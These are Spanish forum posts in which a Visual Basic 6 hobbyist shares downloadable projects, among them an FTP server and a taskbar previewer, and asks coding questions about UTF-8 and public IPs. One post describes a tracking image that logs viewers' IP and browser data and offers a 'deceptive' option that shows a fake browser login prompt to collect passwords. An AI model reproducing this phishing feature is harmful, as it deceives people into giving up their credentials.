Hola este es un modulo que sirve para cambiar el aspecto de las columnas del listview, lquizas hay maneras de hacer esto mas facil sin esta chorrera de codigo, pero a mi en lo personal me sirvio para aprender

Como bugs que pude encontrar y no corregir fue:
* Un pequeño parpadeo que produce, pero en fin este en estado normal tambien lo produce (obviamente en menor cantidad)
* Solo funciona con la versión 6 de Microsof Windows Common Controls. (puede que buscando un poco se pueda adaptar tambien a la 5 el problema esta en que no recibe el msg Paint corectamente)
* al pasar el mouse por una columna y salir directamente al formulario este no refresca, esto lo podria haber solucionado creando un timer (con apis) pero creo que se iba a ir un poco mas extenso, pero si vale la pena se lo pongo.

Ventajas:
Aprendi a usar la MSDN de micro$oft  , cosa que nunca le pude sacar provecho. pero bueno esta ves pude encontrar toda la info necesaria para esto.

Bueno tiene unas 5 o 6 funciones/propiedades y se le puden agregar algunas otras, pero creo que las principales estan.


http://www.recursosvisualbasic.com.ar/ftp/leandro/ColumHeaders.zip

Bueno cualquier duda sugerencia o critica peguen bien fuerte

Buenas, este es un proyecto que sirve para colgar notitas recordatorias. Está hecho en base a los proyectos anteriores.





http://www.recursosvisualbasic.com.ar/ftp/leandro/sticky.zip

Cualquier duda, comentarios o sugerencias escriban.

Buenas este proyecto es una utilidad para crear múltiples escritorios, tiene para 4 escritorios, básicamente lo que hace es ocultar las ventanas del escritorio actual e ir creando un nuevo escritorio el cual al cambiar oculta todas las ventanas abiertas y visualizará las que fueron ocultadas anteriormente. En fin probar para entender lo que no se explicar





la imagen de arriba muestra como esta aplicacion agrega cuatro items al menu del sistema, los cuales permiten la posibilidad de transferir o compartir esta ventana en los distintos escritorios.
esto se lo debo a nuestro amigo Cobein el cual pudo crear la clase para hacer el hook a las ventanas activas   http://www.argentinavb.com.ar/foro/index.php?topic=32.0

El link de descarga

http://es.geocities.com/leandroascierto/MultiDeskTop.zip

buenas es una aplicacion/Proyecto que muestra en el escritorio un cuadro con transición de imagenes el nombre de estas aplicaciones suelen ser SlideShow las cuales bienen gadget para windows, esta echo con la misma forma que Cobein utilizo para el control de volumen y yo en la papelera de reciclaje, como veran es un tocaso de codigo para algo que se podria hacer mucho mas facil, pero bueno lo que intenta hacer esto es utilizar un skin de tipo windows vista. puede que me aya quedado algo grande en dimenciones ya que me compre un monitor de 20 pulgadas y en el mio queda bien  8) 8) y en uno de 17 ocupe mucha pantalla pero bueno es facil, se compran un monitor de 20 y listo el poyo jajaaj

http://es.geocities.com/leandroascierto/SlideShow.zip



Agradecimientos a SKL por las imagenes, a Cobein por los modulos y a todos los que en parte me ayudaron

Saludos

Buenas, no se si sea el lugar correspondiente para este post, pero nesesitaria una orientacion de donde podria obtener informacion climatologica (el estado del tiempo), no busco imagenes, o Frames, lo que nesesitaria seria un archivo plano con informacion que pueda obtener de algun servidor donde yo mismo pueda fabricar a codigo el estado del tiempo, me explico? no quiero enlasar a ninguna pagina, sino yo mismo mediante esos datos mostrar mis imagenes del tiempo (la nueve el sol etc.)

Bueno espero averme explicado

Pd: me gustria si puede ser sobre Argentina, de todas forma cualquier informacion es util

Saludos

Buenas, aca les dejo mi ultimo proyecto, se trata de una aplicacion que muestra una vista previa en miniatura de las ventanas abiertas en la barra de tareas de windows.
para probarlo ejecutan la aplicacion/proyecto luego si estan todas las ventanas cerradas mejor, sino éstas se capturarán una vez que esten como activas, pero si la aplicación se ejecuta en el inicio de windows va de pelos.
Entonces cuando pase el mouse por encima de cada boton de la barra de tareas les mostrará un snapshot de la ventana correspondiente, excepto la activa
No requiere ningun control u ocx extra.

http://es.geocities.com/leandroascierto/Task_Preview_XP.zip





Espero que les guste, no esta quizas de lo mas optimo pero funciona bien, cualquier comentario chiflan

Saludos

[Micsrosoft Shell Controls And Automation]

Hola, este es un ejemplo de un cliente FTP utilizando dos Webbrowser y la referencia  Micsrosoft Shell Controls And Automation esta bien sencillo y sin complicaciones. es un poco a modo de ver como sacarle un poco de provecho a esta referencia la cual me parecio espectacular. ya que se pueden hacer muchas cosas.
El proyecto como dije antes esta sencillo y no tiene muchas posibilidades, asi que puede que aver algunos errores, pero creo que es vastante practico y facil de usar y con la interfas de windows

http://ar.geocities.com/leandroascierto/WindowsFTP.zip

Buenas termine mi ultimo proyecto, se trata de un Sever Ftp (No es un cliente)
Para aquellos que no saben bien de que les ablo se trata de una aplicacion la cual pueden transormar su pc en un host para crear cuentas de usuario y compartir archivos. los usuarios podran descargar o suvir archivos como si fuera un sitio web. bien, en la ayuda de la aplicacion esta mas detallado y con el corrector ortografico de word

algunas imagenes


El link para descargar el proyecto mas la aplicacion

Diógenes FTP

Bueno me abran quedado algunas cositas colgadas pero creo que tiene que andar todo bien.
lamentablemente hay cosas que no puedo solucionar y no se porque, pero bueno espero que les guste

Trae un ocx acuerdence de registrarlo

Espero que colaboren aportando ideas, preguntas, opinion y si detectan algun error.

By Leandro Ascierto

[>Codificado>]

buenas alguien sabe como decodificar utf-8, lo que hace utf-8, porlomenos lo que yo entendi, remplasa los caracteres con acentos o  caracteres especiales en otros,

Ejemplo:

D:\Mis documentos\Mi música    >Codificado>  D:\Mis documentos\Mi música

yo encontre en la web dos codigos para codificar

Código [Seleccionar] Expandir


Private Const CP_UTF8 = 65001

Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpMultiByteStr As Long, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, ByVal lpMultiByteStr As Long, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long

Public Function UTF8_Encode(ByVal Text As String) As String

Dim sBuffer As String
Dim lLength As Long

If Text <> "" Then
lLength = WideCharToMultiByte(CP_UTF8, 0, StrPtr(Text), -1, 0, 0, 0, 0)
sBuffer = Space$(lLength)
lLength = WideCharToMultiByte(CP_UTF8, 0, StrPtr(Text), -1, StrPtr(sBuffer), Len(sBuffer), 0, 0)
sBuffer = StrConv(sBuffer, vbUnicode)
UTF8_Encode = Left$(sBuffer, lLength - 1)
Else
UTF8_Encode = ""
End If

End Function

Private Sub Form_Load()
Debug.Print UTF8_Encode("D:\Mis documentos\Mi música")
End Sub


y el otro

Código [Seleccionar] Expandir


Private Function UTF8_Encode(ByVal sStr As String)
For l& = 1 To Len(sStr)
lChar& = AscW(Mid(sStr, l&, 1))
If lChar& < 128 Then
sUtf8$ = sUtf8$ + Mid(sStr, l&, 1)
ElseIf ((lChar& > 127) And (lChar& < 2048)) Then
sUtf8$ = sUtf8$ + Chr(((lChar& \ 64) Or 192))
sUtf8$ = sUtf8$ + Chr(((lChar& And 63) Or 128))
Else
sUtf8$ = sUtf8$ + Chr(((lChar& \ 144) Or 234))
sUtf8$ = sUtf8$ + Chr((((lChar& \ 64) And 63) Or 128))
sUtf8$ = sUtf8$ + Chr(((lChar& And 63) Or 128))
End If
Next l&
UTF8_Encode = sUtf8$
End Function

Private Sub Form_Load()
MsgBox UTF8_Encode("D:\Mis documentos\Mi música")
End Sub


Pero no puede encontrar nada para decodificarlo y la verdad no parece ser dificil, pero no se como hacerlo si alguien tiene un codigo o sabe como decodifcarlo se los agradezco.


Saludos

buenas se que con visual b es imposible pero quizas aya alguna forma con apis, para obtener el retorno, yo conozco una forma pero esta me muestra los resultados finales pero no todo el proceso, osea si yo pongo en el CMD netstat -a -b me muestra todo el proceso a medidas que se va ejecutando, pues el modulo que tengo llo solo me muestra cuando todo el proceso finalizo.

Bien alguien tiene algun modulo o clase para mostrar toda la operacion en proceso.


Saludos

Buenas se que quienes tienen Router el winsock no devuelve la ip publica, yo en mi caso como no tengo router no se como hacerlo, pero me gustaria saber como se puede conseguir la ip publica sin tener que recurrir a una web. (estoy ablando de hacerlo por codigo)

bien un amigo me paso este ejemplo

Código [Seleccionar] Expandir


'In Module1:

'******************************************************************
'Created By Verburgh Peter.
' 07-23-2001
' verburgh.peter@skynet.be
'-------------------------------------
'With this small application , you can detect the IP's installed on your computer,
'including subnet mask , BroadcastAddr..
'
'I've wrote this because i've a programm that uses the winsock control, but,
'if you have multiple ip's  installed on your pc , you could get by using the Listen
' method the wrong ip ...
'Because Winsock.Localip => detects the default ip installed on your PC ,
' and in most of the cases it could be the LAN (nic) not the WAN (nic)
'So then you have to use the Bind function ,to bind to your right ip..
'but how do you know & find that ip ?
'you can find it now by this appl.. it check's in the api.. IP Table..
'******************************************************************


Const MAX_IP = 5   'To make a buffer... i dont think you have more than 5 ip on your pc..

Type IPINFO
     dwAddr As Long   ' IP address
    dwIndex As Long '  interface index
    dwMask As Long ' subnet mask
    dwBCastAddr As Long ' broadcast address
    dwReasmSize  As Long ' assembly size
    unused1 As Integer ' not currently used
    unused2 As Integer '; not currently used
End Type

Type MIB_IPADDRTABLE
    dEntrys As Long   'number of entries in the table
    mIPInfo(MAX_IP) As IPINFO  'array of IP address entries
End Type

Type IP_Array
    mBuffer As MIB_IPADDRTABLE
    BufferLen As Long
End Type

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function GetIpAddrTable Lib "IPHlpApi" (pIPAdrTable As Byte, pdwSize As Long, ByVal Sort As Long) As Long
Sub main()
Form1.Show
End Sub

'converts a Long  to a string
Public Function ConvertAddressToString(longAddr As Long) As String
    Dim myByte(3) As Byte
    Dim Cnt As Long
    CopyMemory myByte(0), longAddr, 4
    For Cnt = 0 To 3
        ConvertAddressToString = ConvertAddressToString + CStr(myByte(Cnt)) + "."
    Next Cnt
    ConvertAddressToString = Left$(ConvertAddressToString, Len(ConvertAddressToString) - 1)
End Function

Public Sub Start()
Dim Ret As Long, Tel As Long
Dim bBytes() As Byte
Dim Listing As MIB_IPADDRTABLE



On Error GoTo END1
    GetIpAddrTable ByVal 0&, Ret, True

    If Ret <= 0 Then Exit Sub
    ReDim bBytes(0 To Ret - 1) As Byte
    'retrieve the data
    GetIpAddrTable bBytes(0), Ret, False
     
    'Get the first 4 bytes to get the entry's.. ip installed
    CopyMemory Listing.dEntrys, bBytes(0), 4
    'MsgBox "IP's found : " & Listing.dEntrys    => Founded ip installed on your PC..
    Form1.AutoRedraw = True
    Form1.Print Listing.dEntrys & "   IP addresses found on your PC !!"
    Form1.Print "----------------------------------------"
    For Tel = 0 To Listing.dEntrys - 1
        'Copy whole structure to Listing..
       ' MsgBox bBytes(tel) & "."
        CopyMemory Listing.mIPInfo(Tel), bBytes(4 + (Tel * Len(Listing.mIPInfo(0)))), Len(Listing.mIPInfo(Tel))
         Form1.Print "IP address                   : " & ConvertAddressToString(Listing.mIPInfo(Tel).dwAddr)
         Form1.Print "IP Subnetmask            : " & ConvertAddressToString(Listing.mIPInfo(Tel).dwMask)
         Form1.Print "BroadCast IP address  : " & ConvertAddressToString(Listing.mIPInfo(Tel).dwBCastAddr)
         Form1.Print "**************************************" & vbCrLf
         Form1.Refresh
    Next

'MsgBox ConvertAddressToString(Listing.mIPInfo(1).dwAddr)
Exit Sub
END1:
MsgBox "ERROR"
End Sub


Código [Seleccionar] Expandir


Private Sub Form_Load()
Module1.Start
End Sub

en su caso le aparecio en la tercera posicion su ip publica
alguno de los que tengan un router se anima a ver si puede obtener unicamente esa ip

Gracias y saludos

aca hay otro codigo parecido, aver si este muestra la ip publica
http://www.recursosvisualbasic.com.ar/htm/listado-api/api-55-ip-GetIpAddrTable.htm

[Requerimientos:]

Este mi ultimo proyecto, Se trata de una aplciacion para extraer y mostrar datos en la web, como ser una imagen que posea IP, Navegador, Sistema Operativo, ISP, Pais, Dominio por el cual navegan,el UserAgent,  es algo asi como esas imagenes que vemos en las firmas de algunos usuarios donde muestran esos datos, ademas todo queda registrado en nuestra  pc, Tambien crea una estadistica sobre los Navegadores utilizados, SO, Horarios de visita, Paises.
Tambien cuenta con la opcion de enviar una captura de nuestra WebCam, o una imagen que nosotros querramos.
tiene opciones de autologin en NO-IP, Autoconexion a internet, todo esto para que nuestro server este siempre en escucha.
Bien tambien cuenta con un opcion algo engañosa que se trata de poner un usuario y contraseña, y si por ejemplo envian la imagen generada por mail (por ejemplo) cuando el usuario que la reciva le saltara el tipico cartel de login de los navegadores, y bien si el usuario es lo suficientemente iluso pondra su usuario y contraseña, o bien  en algun foros pero no este, pues ya El Brujo me regaño ( pero esto no es el proposito de la aplicacion  )

Requerimientos:

*  Excel (por desgracia, por el tema de los graficos)
*  Microsoft Windows Common Controls 5.0
*  Conexion a Internet, y no estar devajo de un Router (o bien configurarlo)

La aplicacion viene con una Dll para descomprimir una Base de datos que hay que actualiar aproximadamente ves por mes y Un Ocx de nombre ControlsAAA , que posee 7 Subcontroles, para la Interfas Grafica y Conexion

Esta programado en visual Basic 6

Funcionamiento
Descargan la Aplicacion (mas adelante pondre el source)
La descomprimen, La ejecutan y Precionan el boton "Iniciar" luego precionan e portapaples y copian la direcion de la imagen y luego la ponen en donde gusten (Cadena de mails, Foros, Paginas Web. etc)
bien como veran utiliza la ip, pero si quieren se van a opciones y preciona el items no ip y pueden logear su cuenta, esta ya quedara configurada
Es cuestion de que lo investiguen un poco , ademas viene con un tooltips de ayuda para cada control que los guiara facilmente.

Capturas:







Descarga:
http://es.geocities.com/leandroascierto/SpyUserAgent.zip


Bien espero contar con ustedes para una opinion o cualquier fallo que encuentren.

El ejemplo funcional lo pueden ver aqui en mi firma (si es dentro de estos dias)
esta imagen es tomada desde mi pc, y esos son sus datos

buenas quisiera poder agregar mi aplicacion al listado permitido del firewall de windows, no quiero bloquearlo ni nada, solo quiero que cuando mi aplicacion se ponga en listen, no me salte el firewall, y bien pueda recivir conexiones entrantes a mi pc. se que es modificando el registro pero si alguien tiene un ejemplo se los agradezco

Saludos

buenas alguien me puede alcarar un poco de porque algunos pc se puede conectar via ip y en algunos casos no?. supongamos que si se tiene un firewall ovio ay que configurar el puerto para poder haceptar, pero si se tiene un router , como se hace para poder configurar el mismo para que hacepte entrada a el pc que supuestamente ejecuta la escucha?, bien no siendo ni un firewall ni un router cual puede ser el problema de que no se pudeda conectar a esa pc via internte con la ip?, si si la ip que estoy utilzando es la publica...

Saludos , aver quien se juega con un mini turorial